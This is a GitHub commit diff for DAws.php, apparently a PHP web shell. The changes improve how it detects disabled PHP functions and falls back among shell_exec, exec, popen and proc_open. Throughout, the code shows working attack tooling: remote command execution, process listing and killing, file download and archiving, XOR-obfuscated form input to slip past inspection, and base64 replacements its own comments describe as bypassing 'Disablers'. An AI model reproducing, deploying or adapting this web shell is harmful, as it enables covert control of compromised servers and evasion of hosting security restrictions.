Skip to content

Commit 1d79c01

Browse files
committed
New Release
1 parent 5f25784 commit 1d79c01

File tree

1 file changed

+60
-34
lines changed

1 file changed

+60
-34
lines changed

DAws.php

+60-34
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,26 @@ function generateRandomString($length = 10)
7979
}
8080
#<--
8181

82+
#Checks if a function is/isn't disabled
83+
$disbls = @ini_get('disable_functions').','.@ini_get('suhosin.executor.func.blacklist');
84+
$disblsArray = explode(",", $disbls);
85+
86+
function checkIt($func)
87+
{
88+
global $disblsArray;
89+
90+
foreach ($disblsArray as $value)
91+
{
92+
if ($func == $value)
93+
{
94+
return False;
95+
}
96+
}
97+
98+
return True;
99+
}
100+
#<--
101+
82102
#`base64_encode`, `base64_decode`, `bindec` and `decbin` Replacements to bypass Disablers-->
83103
$base64ids = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/");
84104

@@ -390,22 +410,22 @@ function soft_exists($command)
390410

391411
$complete = "$whereIsCommand $command";
392412

393-
if($shell_exec == true)
413+
if($shell_exec == True)
394414
{
395415
return shell_exec($complete);
396416
}
397-
else if($exec == true)
417+
else if($exec == True)
398418
{
399419
return exec($complete);
400420
}
401-
else if($popen == true)
421+
else if($popen == True)
402422
{
403423
$pid = popen($complete,"r");
404424
$result = fread($pid, 2096);
405425
pclose($pid);
406426
return $result;
407427
}
408-
else if($proc_open == true)
428+
else if($proc_open == True)
409429
{
410430
$process = proc_open(
411431
$complete,
@@ -518,8 +538,6 @@ function evalRel($command)
518538
#Zips Windows Dir-->
519539
function zipWindows($zip_location, $folder)
520540
{
521-
global $shell_exec, $exec, $popen, $proc_open, $system, $passthru;
522-
523541
$code = 'ArchiveFolder "' . $zip_location . '", "' . $folder . '"
524542
525543
Sub ArchiveFolder (zipFile, sFolder)
@@ -753,7 +771,7 @@ function xorencr(form, command)
753771

754772
form.command.value = xor_str(command.value);
755773
form.submit();
756-
return true;
774+
return True;
757775
}
758776

759777
function xorencr2(form, language, command)
@@ -766,7 +784,7 @@ function xorencr2(form, language, command)
766784

767785
form.eval.value = xor_str(command.value);
768786
form.submit();
769-
return true;
787+
return True;
770788
}
771789

772790
function xorencr3(form, original_name, new_name)
@@ -780,7 +798,7 @@ function xorencr3(form, original_name, new_name)
780798
form.original_name.value = btoa(original_name.value);
781799
form.new_name.value = xor_str(new_name.value);
782800
form.submit();
783-
return true;
801+
return True;
784802
}
785803

786804
function xorencr4(form, dir)
@@ -793,7 +811,7 @@ function xorencr4(form, dir)
793811

794812
form.dir.value = xor_str(dir.value);
795813
form.submit();
796-
return true;
814+
return True;
797815
}
798816

799817
function xorencr5(form, content)
@@ -806,7 +824,7 @@ function xorencr5(form, content)
806824

807825
form.content.value = xor_str(content.value);
808826
form.submit();
809-
return true;
827+
return True;
810828
}
811829

812830
function showDiv()
@@ -921,7 +939,7 @@ function showDiv()
921939
echo "
922940
<tr>
923941
<td>$function</td>";
924-
if(function_exists($function))
942+
if(checkIt($function))
925943
{
926944
${"{$function}"} = True;
927945
echo "
@@ -971,7 +989,7 @@ function showDiv()
971989
<?php
972990

973991
#Gets Info -->
974-
if(function_exists("php_uname"))
992+
if(checkIt("php_uname"))
975993
{
976994
echo "
977995
<tr>
@@ -994,7 +1012,7 @@ function showDiv()
9941012
<td>".$_SERVER['SERVER_ADDR']."</td>
9951013
</tr>";
9961014

997-
if(function_exists("get_current_user"))
1015+
if(checkIt("get_current_user"))
9981016
{
9991017
echo "
10001018
<tr>
@@ -1111,7 +1129,7 @@ function showDiv()
11111129
echo "N/A";
11121130
}
11131131
}
1114-
else if($popen == true)
1132+
else if($popen == True)
11151133
{
11161134
$pid = popen('typeperf -sc 1 "\processor(_total)\% processor time"',"r");
11171135
$data = fread($pid, 2096);
@@ -1138,7 +1156,7 @@ function showDiv()
11381156
echo "N/A";
11391157
}
11401158
}
1141-
else if($proc_open == true)
1159+
else if($proc_open == True)
11421160
{
11431161
$process = proc_open(
11441162
'typeperf -sc 1 "\processor(_total)\% processor time"',
@@ -1205,17 +1223,17 @@ function showDiv()
12051223
}
12061224
else if($exec == True)
12071225
{
1208-
$data = shell_exec("grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage \"\"}'");
1226+
$data = exec("grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage \"\"}'");
12091227
echo "<td>".round($data)."%</td>\n";
12101228
}
1211-
else if($popen == true)
1229+
else if($popen == True)
12121230
{
12131231
$pid = popen("grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage \"\"}'","r");
12141232
$data = fread($pid, 2096);
12151233
pclose($pid);
12161234
echo "<td>".round($data)."%</td>\n";
12171235
}
1218-
else if($proc_open == true)
1236+
else if($proc_open == True)
12191237
{
12201238
$process = proc_open(
12211239
"grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage \"\"}'",
@@ -1284,15 +1302,15 @@ function showDiv()
12841302
$total_ram = $total_ram /1024;
12851303
echo "<td>" . round($total_ram) . " GB</td>\n";
12861304
}
1287-
else if($popen == true)
1305+
else if($popen == True)
12881306
{
12891307
$pid = popen("free -mt | grep Mem |awk '{print $2}'","r");
12901308
$total_ram = fread($pid, 2096);
12911309
pclose($pid);
12921310
$total_ram = $total_ram /1024;
12931311
echo "<td>" . round($total_ram) . " GB</td>\n";
12941312
}
1295-
else if($proc_open == true)
1313+
else if($proc_open == True)
12961314
{
12971315
$process = proc_open(
12981316
"free -mt | grep Mem |awk '{print $2}'",
@@ -1341,8 +1359,16 @@ function showDiv()
13411359
<td>Free RAM</td>";
13421360
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
13431361
{
1344-
$free_ram = (int)str_replace("FreePhysicalMemory=", "", shell_exec("wmic OS get FreePhysicalMemory /Value")) /1024 /1024;
1345-
echo "<td>" . round($free_ram, 2) . "GB </td>";
1362+
if ($shell_exec == True)
1363+
{
1364+
$free_ram = (int)str_replace("FreePhysicalMemory=", "", shell_exec("wmic OS get FreePhysicalMemory /Value")) /1024 /1024;
1365+
echo "<td>" . round($free_ram, 2) . "GB </td>";
1366+
}
1367+
else if ($exec == True)
1368+
{
1369+
$free_ram = (int)str_replace("FreePhysicalMemory=", "", exec("wmic OS get FreePhysicalMemory /Value")) /1024 /1024;
1370+
echo "<td>" . round($free_ram, 2) . "GB </td>";
1371+
}
13461372
}
13471373
else
13481374
{
@@ -1356,14 +1382,14 @@ function showDiv()
13561382
$free_ram = exec("free | grep Mem | awk '{print $3/$2 * 100.0}'");
13571383
echo "<td>" . round($free_ram) . "% </td>\n";
13581384
}
1359-
else if($popen == true)
1385+
else if($popen == True)
13601386
{
13611387
$pid = popen("free | grep Mem | awk '{print $3/$2 * 100.0}'","r");
13621388
$free_ram = fread($pid, 2096);
13631389
pclose($pid);
13641390
echo "<td>" . round($free_ram) . "% </td>\n";
13651391
}
1366-
else if($proc_open == true)
1392+
else if($proc_open == True)
13671393
{
13681394
$process = proc_open(
13691395
"free | grep Mem | awk '{print $3/$2 * 100.0}'",
@@ -1497,7 +1523,7 @@ function showDiv()
14971523
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
14981524

14991525
curl_setopt($ch, CURLOPT_FILE, $fp);
1500-
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
1526+
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
15011527

15021528
$data = curl_exec($ch);
15031529

@@ -1642,7 +1668,7 @@ function showDiv()
16421668
{
16431669
if(evalRel("zip -r $archiveName $archiveName")=="False")
16441670
{
1645-
echo "<p class='danger'>Can't Zip because 'exec', 'shell_exec', 'system' and 'passthru' are Disabled.</p>";
1671+
echo "<p class='danger'>Can't Zip because 'exec', 'shell_exec', 'system', 'passthru', `popen` and `proc_open` are Disabled.</p>";
16461672
$zipFail = True;
16471673
}
16481674

@@ -2117,7 +2143,7 @@ function showDiv()
21172143
echo "> ";
21182144
}
21192145

2120-
if($popen == true)
2146+
if($popen == True)
21212147
{
21222148
echo '<input type="submit" name="popen" value="Popen" ';
21232149

@@ -2129,7 +2155,7 @@ function showDiv()
21292155
echo "> ";
21302156
}
21312157

2132-
if($proc_open == true)
2158+
if($proc_open == True)
21332159
{
21342160
echo '<input type="submit" name="proc_open" value="Proc_open" ';
21352161

@@ -2530,7 +2556,7 @@ function showDiv()
25302556
$kill = fread($pid, 2096);
25312557
pclose($pid);
25322558
}
2533-
else if($proc_open == true)
2559+
else if($proc_open == True)
25342560
{
25352561
$oprocess = proc_open(
25362562
"taskkill /F /PID " . $_GET["kill"] . " 2>&1",
@@ -2593,7 +2619,7 @@ function showDiv()
25932619
$process_list = fread($pid, 2096);
25942620
pclose($pid);
25952621
}
2596-
else if($proc_open == true)
2622+
else if($proc_open == True)
25972623
{
25982624
$oprocess = proc_open(
25992625
"tasklist",
@@ -2684,7 +2710,7 @@ function showDiv()
26842710
$output = fread($pid, 2096);
26852711
pclose($pid);
26862712
}
2687-
else if($proc_open == true)
2713+
else if($proc_open == True)
26882714
{
26892715
$oprocess = proc_open(
26902716
"kill $pid 2>&1",
@@ -2744,10 +2770,10 @@ function showDiv()
27442770
else if($popen == True)
27452771
{
27462772
$pid = popen("ps aux","r");
2747-
$process_list = fread($pid, 2096);
2773+
$process_list = fread($pid, 4096);
27482774
pclose($pid);
27492775
}
2750-
else if($proc_open == true)
2776+
else if($proc_open == True)
27512777
{
27522778
$oprocess = proc_open(
27532779
"ps aux",

0 commit comments

Comments
 (0)